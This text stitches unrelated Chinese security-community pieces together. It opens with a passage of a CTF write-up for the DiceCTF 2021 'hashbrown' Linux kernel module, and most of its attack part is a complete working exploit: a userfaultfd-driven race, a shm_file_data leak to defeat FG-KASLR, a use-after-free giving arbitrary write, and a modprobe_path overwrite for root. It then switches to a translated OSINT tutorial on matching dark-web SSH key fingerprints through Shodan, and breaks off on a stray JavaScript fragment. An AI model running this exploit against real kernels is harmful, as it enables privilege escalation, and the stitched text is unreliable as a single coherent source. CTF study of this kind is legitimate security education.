if (temp->size != size)//检测key 大小不相等才行
{
if (temp->value)
{
kfree(temp->value);
}
temp->value = NULL;
temp->size = 0;
temp_data = kzalloc(size, GFP_KERNEL);
if (!temp_data || copy_from_user(temp_data, src, size))
{
return INVALID;
}
temp->size = size;
temp->value = temp_data;
}
else
{
if (copy_from_user(temp->value, src, size))//大小相等直接更新
{
return INVALID;
}
}
return 0;
}
}
return NOT_EXISTS;
}
static long delete_value(uint32_t idx, uint32_t key)
{
hash_entry *temp;
if (!hashmap.buckets[idx])//ptr
{
return NOT_EXISTS;
}
for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
{
if (temp->key == key)//key
{
if (!temp->value || !temp->size)//value size 存在
{
return NOT_EXISTS;
}
kfree(temp->value);
temp->value = NULL;
temp->size = 0;
return 0;
}
}
return NOT_EXISTS;
}
static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest)
{
hash_entry *temp;
if (!hashmap.buckets[idx])//ptr
{
return NOT_EXISTS;
}
for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
{
if (temp->key == key)//key
{
if (!temp->value || !temp->size)
{
return NOT_EXISTS;
}
if (size > temp->size)//最多是相等
{
return INVALID;
}
if (copy_to_user(dest, temp->value, size))
{
return INVALID;
}
return 0;
}
}
return NOT_EXISTS;
}
#pragma GCC pop_options
static int __init init_hashbrown(void)
{
major = register_chrdev(0, DEVICE_NAME, &hashbrown_fops);
if (major < 0)
{
return -1;
}
hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(hashbrown_class))
{
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
hashbrown_device = device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
if (IS_ERR(hashbrown_device))
{
class_destroy(hashbrown_class);
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
mutex_init(&operations_lock);
mutex_init(&resize_lock);
hashmap.size = SIZE_ARR_START;
hashmap.entry_count = 0;
hashmap.threshold = GET_THRESHOLD(hashmap.size);
hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
printk(KERN_INFO "HashBrown Loaded! Who doesn't love Hashbrowns!\n");
return 0;
}
static void __exit exit_hashbrown(void)
{
device_destroy(hashbrown_class, MKDEV(major, 0));
class_unregister(hashbrown_class);
class_destroy(hashbrown_class);
unregister_chrdev(major, DEVICE_NAME);
mutex_destroy(&operations_lock);
mutex_destroy(&resize_lock);
printk(KERN_INFO "HashBrown Unloaded\n");
}
module_init(init_hashbrown);
module_exit(exit_hashbrown);
跳过一些无关的部分主要分析关键位置
下面是源码中定义的一些常量，后面就是菜单功能
#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b
定义了三个数据结构
typedef struct
{
uint32_t key;
uint32_t size;
char *src;
char *dest;
}request_t;
struct hash_entry
{
uint32_t key;
uint32_t size;
char *value;
struct hash_entry *next;
};
typedef struct hash_entry hash_entry;
typedef struct
{
uint32_t size;
uint32_t threshold;
uint32_t entry_count;
hash_entry **buckets;
}hashmap_t;
hashmap_t hashmap;
结构request_t用于与内核交互，后面的各种系统调用传递的参数都是这个
hash_entry是本设备维护的基本数据结构，就是每个kzalloc分配的基本结构
hashmap_t结构后面声明了一个全局变量，里面的buckets用来存放申请的内存cache
下面开始分析具体函数
###### init函数
static int __init init_hashbrown(void)
{
major = register_chrdev(0, DEVICE_NAME, &hashbrown_fops);
if (major < 0)
{
return -1;
}
hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(hashbrown_class))
{
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
hashbrown_device = device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
if (IS_ERR(hashbrown_device))
{
class_destroy(hashbrown_class);
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
mutex_init(&operations_lock);
mutex_init(&resize_lock);
hashmap.size = SIZE_ARR_START;
hashmap.entry_count = 0;
hashmap.threshold = GET_THRESHOLD(hashmap.size);
hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
printk(KERN_INFO "HashBrown Loaded! Who doesn't love Hashbrowns!\n");
return 0;
}
除了最后几行关于hashmap的操作，其它上面的都是字符设备的普遍设置（参考驱动程序开发），看最后几行
hashmap.size = SIZE_ARR_START;
hashmap.entry_count = 0;
hashmap.threshold = GET_THRESHOLD(hashmap.size);
hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
其中size是全局变量hashmap的起始size，是全局变量0x10
entry_count是计数用的 threshold就是0.75倍的size buckets存放申请的hash_entry
###### exit函数
static void __exit exit_hashbrown(void)
{
device_destroy(hashbrown_class, MKDEV(major, 0));
class_unregister(hashbrown_class);
class_destroy(hashbrown_class);
unregister_chrdev(major, DEVICE_NAME);
mutex_destroy(&operations_lock);
mutex_destroy(&resize_lock);
printk(KERN_INFO "HashBrown Unloaded\n");
}
没啥特殊的，就是常规的字符设备操作
###### ioctl交互函数
这个函数是用户态程序系统调用的菜单函数了
static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
long result;
request_t request;
uint32_t idx;
if (cmd == ADD_KEY)
{
if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
{
mutex_lock(&resize_lock);
result = resize((request_t *)arg);
mutex_unlock(&resize_lock);
return result;
}
}
mutex_lock(&operations_lock);
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))//参数arg 是request的结构
{
result = INVALID;
}
else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
{
result = MAXED;
}
else
{
idx = get_hash_idx(request.key, hashmap.size);
switch(cmd)
{
case ADD_KEY:
result = add_key(idx, request.key, request.size, request.src);
break;
case DELETE_KEY:
result = delete_key(idx, request.key);
break;
case UPDATE_VALUE:
result = update_value(idx, request.key, request.size, request.src);
break;
case DELETE_VALUE:
result = delete_value(idx, request.key);
break;
case GET_VALUE:
result = get_value(idx, request.key, request.size, request.dest);
break;
default:
result = INVALID;
break;
}
}
mutex_unlock(&operations_lock);
return result;
}
首先是判断命令是不是ADD_KEY，如果是就进行resize函数（下面分析）调用
if (cmd == ADD_KEY)
{
if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
{
mutex_lock(&resize_lock);
result = resize((request_t *)arg);
mutex_unlock(&resize_lock);
return result;
}
}
接下来是从用户态得到申请request_t，并且判断entry的数量是不是满了
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))//参数arg 是request的结构
{
result = INVALID;
}
else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
{
result = MAXED;
}
然后开始菜单调用不同的函数
else
{
idx = get_hash_idx(request.key, hashmap.size);
switch(cmd)
{
case ADD_KEY:
result = add_key(idx, request.key, request.size, request.src);
break;
case DELETE_KEY:
result = delete_key(idx, request.key);
break;
case UPDATE_VALUE:
result = update_value(idx, request.key, request.size, request.src);
break;
case DELETE_VALUE:
result = delete_value(idx, request.key);
break;
case GET_VALUE:
result = get_value(idx, request.key, request.size, request.dest);
break;
default:
result = INVALID;
break;
}
}
###### get_hash_idx函数
static uint32_t get_hash_idx(uint32_t key, uint32_t size)
{
uint32_t hash;
key ^= (key >> 20) ^ (key >> 12);
hash = key ^ (key >> 7) ^ (key >> 4);
return hash & (size - 1);
}
通过一个hash来得到idx
关于五个功能函数就不具体分析了，本来这个题目函数就很多
五个菜单函数可以自己分析，便于理解题目，add_key delete_key update_value delete_value
get_value，这五个函数中没有漏洞，所有的包括double free、空指针引用、size导致的溢出、分配使用kzalloc导致没有泄露。
###### 漏洞
漏洞出现在resize函数，主要分析下这个函数
当使用的命令是ADD_key 并且申请entry_count的数量是当前size的0.75倍，且size小于SIZE_ARR_MAX就会调用resize函数
if (cmd == ADD_KEY)
{
if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
{
mutex_lock(&resize_lock);
result = resize((request_t *)arg);
mutex_unlock(&resize_lock);
return result;
}
}
关于resize函数
首先获取用户态的数据，并且检测参数中的size
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))//首先获取用户的arg
{
return INVALID;
}
if (request.size < 1 || request.size > MAX_VALUE_SIZE)
{
return INVALID;
}
之后申请新的buckets(这个是用来存放hash_entry结构体的)
new_size = hashmap.size * 2;
new_threshold = GET_THRESHOLD(new_size);
new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);
之后是将原来buckets里面的hash_entry复制到新的buckets里面
for (i = 0; i < hashmap.size; i++)//对之前的进行处理
{
if (hashmap.buckets[i])
{
for (temp_entry = hashmap.buckets[i]; temp_entry != NULL; temp_entry = temp_entry->next)
{
if (temp_entry->key == request.key)//
{
duplicate = 1;
}
new_idx = get_hash_idx(temp_entry->key, new_size);
temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
if (!temp)
{
kfree(new_buckets);
return INVALID;
}
temp->key = temp_entry->key;
temp->size = temp_entry->size;
temp->value = temp_entry->value;
resize_add(new_idx, temp, new_buckets);
}
}
}
如果本次调用resize的时候，用户态传递的参数key没有出现过就会add一个hash_entry加入到buckets中
if (!duplicate)
{
new_idx = get_hash_idx(request.key, new_size);
temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
if (!temp)
{
kfree(new_buckets);
return INVALID;
}
temp_data = kzalloc(request.size, GFP_KERNEL);
if (!temp_data)
{
kfree(temp);
kfree(new_buckets);
return INVALID;
}
if (copy_from_user(temp_data, request.src, request.size))
{
kfree(temp_data);
kfree(temp);
kfree(new_buckets);
return INVALID;
}
temp->size = request.size;
temp->value = temp_data;
temp->key = request.key;
temp->next = NULL;
resize_add(new_idx, temp, new_buckets);
hashmap.entry_count++;
}
最后清除之前的buckets，将新的buckets赋值给全局变量
resize_clean_old();
hashmap.size = new_size;
hashmap.threshold = new_threshold;
hashmap.buckets = new_buckets;
return (duplicate)?EXISTS:0;
这里需要注意一点，虽然存在两个互斥锁，但是不影响两个互斥锁里面的具体内容分别执行，所以说可以在执行resize的同时可以执行五个菜单选项。
所以这里就存在竞争，resize和菜单都可以操作共有的堆块
然后之后的利用思路就是先用竞争泄露地址，之后用竞争实现一个任意地址写
下面通过分析exp具体介绍
## 0x04 EXP分析
刚开始的时候是获取设备fd
fd = open("/dev/hashbrown", O_RDONLY);
之后这个循环我不是特别的理解（是chunk分配更加稳定吗？），希望有师傅可以解答，但是这个循环删除之后对于exp没有影响
for (int i = 0; i < 0x50; i++)
{
open("/proc/self/stat", O_RDONLY);
}
之后进行了chunk的申请，首先是0x20的大小 之后是0xb0的大小
接下来就是想办法出发竞争泄露地址
首先初始size = 0x10 0x10*0.75 = 12
所以说要想触发resize调用，就要先准备12个chunk
add_key(fd, 0, sizeof(smallbuf), smallbuf);
for (int i = 1; i < 12; i++)
{
memset(buf, 0x41 + i, sizeof(buf));
add_key(fd, i, sizeof(buf), buf);
}
这样下一次传入add就会进行resize调用
之后是竞争泄露，正如之前所说的，指向内核的数据指针相对于内核基地址在fg-kalsr的情况下也是不变的。所以这里用到了一个指向内核数据的指针
[shm_file_data]（对应的chunk是kmalloc-32 所以前面第一个chunk申请0x20）
这里我们再看一下竟争的两个部分
函数一
register_userfault() -> racer() -> race_function(leak_setup)函数
void leak_setup()
{
int shmid; // shm_file_data (kmalloc-32) leak for kernel data leak to rebase kernel with fg kaslr
char *shmaddr;
puts("setting up for leak");
delete_value(fd, target_idx);
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
{
perror("shmget error");
exit(-1);
}
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1)
{
perror("shmat error");
exit(-1);
}
return;
}
函数二
main中的
add_key(fd, 27, sizeof(buf), (char *)race_page);
实际上是这个触发的resize函数
上面resize函数将旧的bucket上面的chunk拷贝到新的上面的同时，函数一将第一个0x20的chunkdelete然后申请shm_file_data结构体，可以通过断点来查看
之后读出第一个chunk上面的数据（shm_file_data）,得到基地址
get_value(fd, 0, sizeof(smallbuf), smallbuf);
memcpy((void *)&shmem_vm_ops, (void *)&(smallbuf[0x18]), 0x8);
kbase = shmem_vm_ops - 0x822b80;
modprobe_path = kbase + 0xa46fe0;
// fg-kaslr doesn't affect some of the earlier functions in .text, nor functions not in C or data, etc.
printf("leaked shmem_vm_ops: 0x%llx\n", shmem_vm_ops);
printf("kernel base: 0x%llx\n", kbase);
printf("modprobe_path: 0x%llx\n", modprobe_path);
这里有一个点就是modprobe_path相对于内核基地址的偏移也是不变的
下面就是竞争实现任意地址写
之前经过resize函数size已经是之前的两倍 0x20
0x20 * 0.75 = 24
所以这次首先准备23个堆块
for (int i = 1; i <= 22; i++)
{
add_key(fd, i, sizeof(buf), buf);
}
add_key(fd, 1337, sizeof(smallbuf), smallbuf);
其中前22个是0xb0 最后一个0x20
下面同样看两个竞争函数
一个是
void uaf_setup()
{
puts("setting up uaf");
delete_value(fd, target_idx);
}
两一个是
add_key(fd, 23, 0x20, (char *)0xf00d0000);
实际是resize
可以看到这次就是将其中的一个chunk进行了删除
同时add_key申请的也是0x20，所以delete_key中value对应的chunk被分配了
所以就是
这里还通过get_value确定我们想要的chunk
for (int i = 24; i < 0x400; i++)
{
add_key(fd, i, sizeof(buf), buf);
}
get_value(fd, target_idx, sizeof(smallbuf), smallbuf);
uaf_entry = *(int *)smallbuf;
printf("uaf'd entry: %d\n", uaf_entry);
// clean up
for (int i = 1; i < 0x400; i++)
{
if (i != uaf_entry)
{
delete_key(fd, i);
}
}
之后就是通过value指针任意地址写，这里写的modprobe_path
// evil hash entry
evil.key = uaf_entry;
evil.size = 0x20;
evil.src = (char *)modprobe_path;
evil.dest = NULL;
memset(smallbuf, 0, sizeof(smallbuf));
memcpy(smallbuf, (void *)&evil, sizeof(evil));
update_value(fd, target_idx, sizeof(smallbuf), smallbuf);
memset(smallbuf, 0, sizeof(smallbuf));
strcpy(smallbuf, "/home/ctf/w");
update_value(fd, uaf_entry, sizeof(smallbuf), smallbuf);
modprobe_hax();
exp来自于大佬的blog
<https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html>
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <poll.h>
#include <assert.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#define UFFDIO_API 0xc018aa3f
#define UFFDIO_REGISTER 0xc020aa00
#define UFFDIO_UNREGISTER 0x8010aa01
#define UFFDIO_COPY 0xc028aa03
#define UFFDIO_ZEROPAGE 0xc020aa04
#define UFFDIO_WAKE 0x8010aa02
#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b
pthread_t thread;
uint64_t race_page;
static void (*race_function)();
int target_idx;
uint64_t kbase, shmem_vm_ops, modprobe_path;
int fd;
typedef struct
{
uint32_t key;
uint32_t size;
char *src;
char *dest;
}request_t;
long ioctl(int fd, unsigned long request, unsigned long param)
{
return syscall(16, fd, request, param);
}
long add_key(int fd, uint32_t key, uint32_t size, char *src)
{
request_t request;
request.key = key;
request.size = size;
request.src = src;
return ioctl(fd, ADD_KEY, (unsigned long)&request);
}
long delete_key(int fd, uint32_t key)
{
request_t request;
request.key = key;
return ioctl(fd, DELETE_KEY, (unsigned long)&request);
}
long update_value(int fd, uint32_t key, uint32_t size, char *src)
{
request_t request;
request.key = key;
request.size = size;
request.src = src;
return ioctl(fd, UPDATE_VALUE, (unsigned long)&request);
}
long delete_value(int fd, uint32_t key)
{
request_t request;
request.key = key;
return ioctl(fd, DELETE_VALUE, (unsigned long)&request);
}
long get_value(int fd, uint32_t key, uint32_t size, char *dest)
{
request_t request;
request.key = key;
request.size = size;
request.dest = dest;
return ioctl(fd, GET_VALUE, (unsigned long)&request);
}
void leak_setup()
{
int shmid; // shm_file_data (kmalloc-32) leak for kernel data leak to rebase kernel with fg kaslr
char *shmaddr;
puts("setting up for leak");
delete_value(fd, target_idx);
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
{
perror("shmget error");
exit(-1);
}
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1)
{
perror("shmat error");
exit(-1);
}
return;
}
void uaf_setup()
{
puts("setting up uaf");
delete_value(fd, target_idx);
}
void *racer(void *arg)
{
struct uffd_msg uf_msg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
long uffd = (long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
uf_range.start = race_page;
uf_range.len = 0x1000;
while(poll(&pollfd, 1, -1) > 0)
{
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror("polling error");
exit(-1);
}
if(read(uffd, &uf_msg, sizeof(uf_msg)) == 0)
{
perror("error reading event");
exit(-1);
}
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
{
perror("unexpected result from event");
exit(-1);
}
race_function();
char uf_buffer[0x1000];
uf_copy.src = (unsigned long)uf_buffer;
uf_copy.dst = race_page;
uf_copy.len = 0x1000;
uf_copy.mode = 0;
uf_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1)
{
perror("uffdio_copy error");
exit(-1);
}
if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
{
perror("error unregistering page for userfaultfd");
}
if (munmap((void *)race_page, 0x1000) == -1)
{
perror("error on munmapping race page");
}
return 0;
}
return 0;
}
void register_userfault()
{
int uffd, race;
struct uffdio_api uf_api;
struct uffdio_register uf_register;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uf_api.api = UFFD_API;
uf_api.features = 0;
if (ioctl(uffd, UFFDIO_API, (unsigned long)&uf_api) == -1)
{
perror("error with the uffdio_api");
exit(-1);
}
if (mmap((void *)race_page, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) != (void *)race_page)
{
perror("whoopsie doopsie on mmap");
exit(-1);
}
uf_register.range.start = race_page;
uf_register.range.len = 0x1000;
uf_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, (unsigned long)&uf_register) == -1)
{
perror("error registering page for userfaultfd");
}
race = pthread_create(&thread, NULL, racer, (void*)(long)uffd);
if(race != 0)
{
perror("can't setup threads for race");
}
return;
}
void modprobe_hax()
{
char filename[65];
memset(filename, 0, sizeof(filename));
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/roooot");
system("chmod +x /home/ctf/roooot");
system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/w\n");
system("chmod +x /home/ctf/w");
system("/home/ctf/roooot");
return;
}
int main(int argc, char **argv, char **envp)
{
// bug is two mutexes used (one for resize, one for all other operatios) -> allows for race conditions in ioctl handler
fd = open("/dev/hashbrown", O_RDONLY);
for (int i = 0; i < 0x50; i++)
{
open("/proc/self/stat", O_RDONLY);
}
char buf[0xb0];
char smallbuf[0x20];
int uaf_entry;
request_t evil;
// going for leaks
add_key(fd, 0, sizeof(smallbuf), smallbuf);
for (int i = 1; i < 12; i++)
{
memset(buf, 0x41 + i, sizeof(buf));
add_key(fd, i, sizeof(buf), buf);
}
race_page = 0xbaad0000;
race_function = &leak_setup;
target_idx = 0;
// using classic uffd technique for race
register_userfault();
add_key(fd, 27, sizeof(buf), (char *)race_page);
pthread_join(thread, NULL);
get_value(fd, 0, sizeof(smallbuf), smallbuf);
memcpy((void *)&shmem_vm_ops, (void *)&(smallbuf[0x18]), 0x8);
kbase = shmem_vm_ops - 0x822b80;
modprobe_path = kbase + 0xa46fe0;
// fg-kaslr doesn't affect some of the earlier functions in .text, nor functions not in C or data, etc.
printf("leaked shmem_vm_ops: 0x%llx\n", shmem_vm_ops);
printf("kernel base: 0x%llx\n", kbase);
printf("modprobe_path: 0x%llx\n", modprobe_path);
// clean up
for (int i = 1; i < 12; i++)
{
delete_key(fd, i);
}
delete_key(fd, 27);
// set up for second race
for (int i = 1; i <= 22; i++)
{
add_key(fd, i, sizeof(buf), buf);
}
add_key(fd, 1337, sizeof(smallbuf), smallbuf);
race_page = 0xf00d0000;
race_function = &uaf_setup;
target_idx = 1337;
register_userfault();
add_key(fd, 23, 0x20, (char *)0xf00d0000);
pthread_join(thread, NULL);
// retrieval is somewhat deterministic, shuffling only happens when new slab is applied for?
for (int i = 24; i < 0x400; i++)
{
add_key(fd, i, sizeof(buf), buf);
}
get_value(fd, target_idx, sizeof(smallbuf), smallbuf);
uaf_entry = *(int *)smallbuf;
printf("uaf'd entry: %d\n", uaf_entry);
// clean up
for (int i = 1; i < 0x400; i++)
{
if (i != uaf_entry)
{
delete_key(fd, i);
}
}
// evil hash entry
evil.key = uaf_entry;
evil.size = 0x20;
evil.src = (char *)modprobe_path;
evil.dest = NULL;
memset(smallbuf, 0, sizeof(smallbuf));
memcpy(smallbuf, (void *)&evil, sizeof(evil));
update_value(fd, target_idx, sizeof(smallbuf), smallbuf);
memset(smallbuf, 0, sizeof(smallbuf));
strcpy(smallbuf, "/home/ctf/w");
update_value(fd, uaf_entry, sizeof(smallbuf), smallbuf);
modprobe_hax();
}
编译
gcc exp.c -static -o exp -pthread
运行效果
## 0x05 参考链接
KPTI
<https://www.aqniu.com/threat-alert/30623.html>
<http://xxzx.sdlgzy.com/info/1020/1930.htm>
<https://lwn.net/Articles/752621/>
SLAB SLUB
<https://www.kernel.org/doc/gorman/html/understand/understand011.html>
<https://www.sohu.com/a/296514835_467784>
<https://blog.csdn.net/Vince_/article/details/79668199>
<https://resources.infosecinstitute.com/topic/exploiting-linux-kernel-heap-corruptions-slub-allocator/>（主要可以看看这个）
FG-KALSR
<https://lwn.net/Articles/824307/>
modprobe_path的知识参考（这个之前还是出现过很多的）
<https://www.anquanke.com/post/id/232545> | 社区文章 |
# 如何在暗网中收集公开情报资源（下集）－Python＋Shodan＋SSH密钥
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://www.automatingosint.com/blog/2016/08/dark-web-osint-with-python-part-two-ssh-keys-and-shodan/>
译文仅供参考，具体内容表达以及含义原文为准。
**文章结构**
一、前情提要
二、继续我们的旅程
三、Shodan搜索引擎和SSH密钥指纹
四、运行结果
五、总结
六、参考链接
**（一）、前情提要**
在上集文章中，我们为OnionScan创建了一个自定义的封装器。在此，我们不得不感谢Sarah Jamie Lewis（@
[sarajamielewis](https://twitter.com/SarahJamieLewis)）所作出的努力，感谢他为我们开发出了这样一款非常经典的工具。
如果你还没有读过《如何在暗网中收集公开情报资源（上集）》，那么请你赶紧阅读一下（点击[这里](http://bobao.360.cn/learning/detail/2952.html)阅读）。因为这篇文章中的很多内容都与上集内容有关，上集中的部分内容是本章的基础。
**（二）、继续我们的旅程**
****
我们在上集中给大家提供了一份扫描结果数据（点击[这里](https://github.com/automatingosint/osint_public/raw/master/onionrunner/onionscan_results.tar.gz)获取）。现在，我们需要对这些扫描结果进行分析，并尝试从中搜集一些有价值的情报信息。下面这份列表中列出了我们在这篇文章中所要完成的任务：
1\.
使用Shodan搜索引擎寻找出能够与暗网隐藏服务共享SSH密钥指纹的网络服务器。在这一部分，我们还会对这些SSH密钥进行深入分析，以识别这些能够通过普通网络连接访问到的服务器（即“明网”中的服务器）在与暗网隐藏服务交互时，是否使用的是同样的SSH密钥。
2\. 映射出暗网隐藏服务，明网中的网站，以及各个IP地址之间的关系。
3\.
根据网站的index页面来找出相似的网站集群，以便我们识别出一些伪造的网站或者是克隆出来的非法网站。在这一步骤中，我们还需要使用到一个名叫“[scikit-learn](http://scikit-learn.org/stable/)”的机器学习库。
我们此前所创建出的Python脚本其代码量实际上并不算多，但是每个脚本之间仍然需要共享一些功能代码。所以大家应该习惯这样的编码方式，你应该将你的功能代码封装在一个函数或者模块中，以便在使用的时候直接导入。我们这样做的目的就是让你养成良好的编码习惯，并教会你一些基本的知识。当你在分析某些数据时，你就会发现这些知识的储备是非常重要的。而更加重要的是，你可以利用我们给你灌输的某些观点和想法来实现其他的目的。
在这篇文章中，我们会给大家介绍如何使用SSH公共密钥指纹来与暗网中的隐藏服务进行连接。除此之外，我们还会教大家如何利用Shodan搜索引擎来收集到更多有价值的情报数据。接下来，就让我们开始吧！
**（三）、Shodan搜索引擎和SSH密钥指纹**
****
在我看来，OnionScan最棒的一个功能就是它能够从启用了SSH协议的暗网隐藏服务中收集SSH密钥指纹。
那么在继续讲解之前，我们不得不提一下SSH协议了。SSH是Secure
Shell的缩写，它是一种专门为远程登录会话和其他网络服务提供安全保障的协议。SSH协议可以有效地防止远程管理过程中的信息泄漏问题。在传统网络服务与用户的交互过程中，它们通常会在网络上以明文的形式传送口令和数据，而网络犯罪分子就可以截获这些数据。再加上这些网络服务所使用的安全验证机制中也存在严重的问题，所以它们往往很容易受到中间人（MITM）攻击。通过使用SSH，你可以对所有需要传输的数据进行加密处理。这样一来，“中间人攻击”这种手段就不可能实现了，而且也能够有效地防止DNS欺骗和IP欺骗。
为了有效地避免中间人攻击，管理员在通过SSH远程连接主机的时候，SSH会生成主机指纹并请求保存。服务器的管理员可以将SSH密钥指纹发送给客户端，来帮助客户端在首次登录时验证服务器的真实性。在首次连接成功之后，主机每次都会验证客户端发送的SSH密钥是否与服务器端保存的相匹配。
简而言之，SSH密钥指纹就是一串能够代表服务器公共密钥的字符序列。你可以用它来识别服务器和设备身份的真实性。Shodan的John
Matherly还专门针对这一话题写过一篇文章，感兴趣的读者可以点击[这里](https://blog.shodan.io/duplicate-ssh-keys-everywhere/)来阅读。
那么在得到了这些SSH密钥之后，我们具体能用它们来做什么呢？很简单，我们从暗网中搜索到了这些SSH密钥指纹之后，可以在Shodan搜索引擎中搜索这些密钥指纹，看看在明网中是否有相匹配的SSH密钥指纹存在。虽然我们并不能百分之百确定某一台服务器是否同时托管“暗网网站”和“明网网站”，但这对于网站的管理员来说，绝对是一个非常合适的调查切入点。
可能有些刚刚涉及安全行业的读者并不了解Shodan搜索引擎。Shodan是一款功能十分强大的搜索引擎，它能够搜索到很多普通搜索引擎没有收录的数据内容。Shodan所能搜集到的信息是极其惊人的，凡是链接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等等都会被轻易的搜索到。Shodan真正值得注意的能力就是它能找到几乎所有和互联网相关联的东西，而Shodan真正的可怕之处就是这些设备几乎都没有安装安全防御措施，我们可以随意进入这些系统。所以Shodan也被人们认为是互联网中最可怕的搜索引擎。
我们真的很幸运，因为Shodan提供了[Python接口](https://shodan.readthedocs.io/en/latest/)，所以我们可以利用Shodan的API来进行一些普通的数据交互。
首先，我们需要利用pip来安装Shodan：
Windows：
pip install shodan
Mac/Linux：
sudo pip install shodan
安装之后，你还需要去Shodan网站上注册一个账号，注册成功之后你就可以得到你的API密钥了。我为我的账号充值了45美金，这样可以得到一些积分，顺便支持以下这个优秀的网站。
现在，我们需要开始编码工作了。由于文章篇幅有限，所以我在这里就不对这个python脚本的代码进行详细的讲解了，感兴趣的读者可以阅读原文来了解该脚本中每一行代码的具体作用。你可以点击[这里](https://github.com/automatingosint/osint_public/blob/master/onionrunner/analysis/sshkeys.py)下载“sshkeys.py”脚本。
虽然这个脚本的代码非常少，但是它的功能却非常强大。它不仅可以帮助我们收集到更多的情报资源，而且它还可以映射出很多公开网站与暗网隐藏服务之间的关系。更重要的是，它能够帮助我们搜索和比对SSH密钥指纹。接下来，我们来看一看运行结果吧。
**（四）、运行结果**
****
现在，你只需要运行这个脚本，你就会得到如下图所示的输出结果：
**（五）、总结**
这是一个非常酷的工具，现在你可以用它来探测一些你所发现的暗网服务器IP地址，而且它还可以搜索出暗网隐藏服务的链接地址。当然了，你还可以使用Hunchly来帮助你进行一些手动搜索，搜索的内容完全取决于你自己。
除此之外，我们还可以做很多有趣的事情。在得到了这些数据之后，我们就可以开始对它们进行分析了。我们可以找出这些暗网数据之间的关系，并分析出某些暗网隐藏服务的运作模式。这一切只是一个开始，我希望我们的努力能够帮助你从一个全新的角度来考量这些数据。无论是从隐私保护的角度出发，还是从取证调查的角度来看，这些知识都是你将来可能会用到的。
如果你对我们的文章或者其中的观点有任何的意见和建议，或者你希望我们能够继续发布这一系列的教程，请通过下方列出的电子邮箱与我们联系：
[[email protected]](mailto:[email protected])
**（六）、参考链接**
1\. 《如何在暗网中收集公开情报资源（上集）》：
[http://bobao.360.cn/learning/detail/2952.html](http://bobao.360.cn/learning/detail/2952.html)
2.OnionScan的搜索结果数据：
[https://github.com/automatingosint/osint_public/raw/master/onionrunner/onionscan_results.tar.gz](https://github.com/automatingosint/osint_public/raw/master/onionrunner/onionscan_results.tar.gz)
3.scikit-learn机器学习库：
[http://scikit-learn.org/stable/](http://scikit-learn.org/stable/)
4\. Shodan的Python操作指南：
[https://shodan.readthedocs.io/en/latest/](https://shodan.readthedocs.io/en/latest/)
5\. Shodan官方网站：
[https://www.shodan.io/](https://www.shodan.io/)
6\. sshkeys.py脚本下载：
[https://github.com/automatingosint/osint_public/blob/master/onionrunner/analysis/sshkeys.py](https://github.com/automatingosint/osint_public/blob/master/onionrunner/analysis/sshkeys.py)
7\. Hunchly官方网站：
[https://www.hunch.ly/](https://www.hunch.ly/) | 社区文章 |
先说说js中的constructor的用法，constructor属性返回对创建此对象的数组函数的引用。语法，Object.constructor
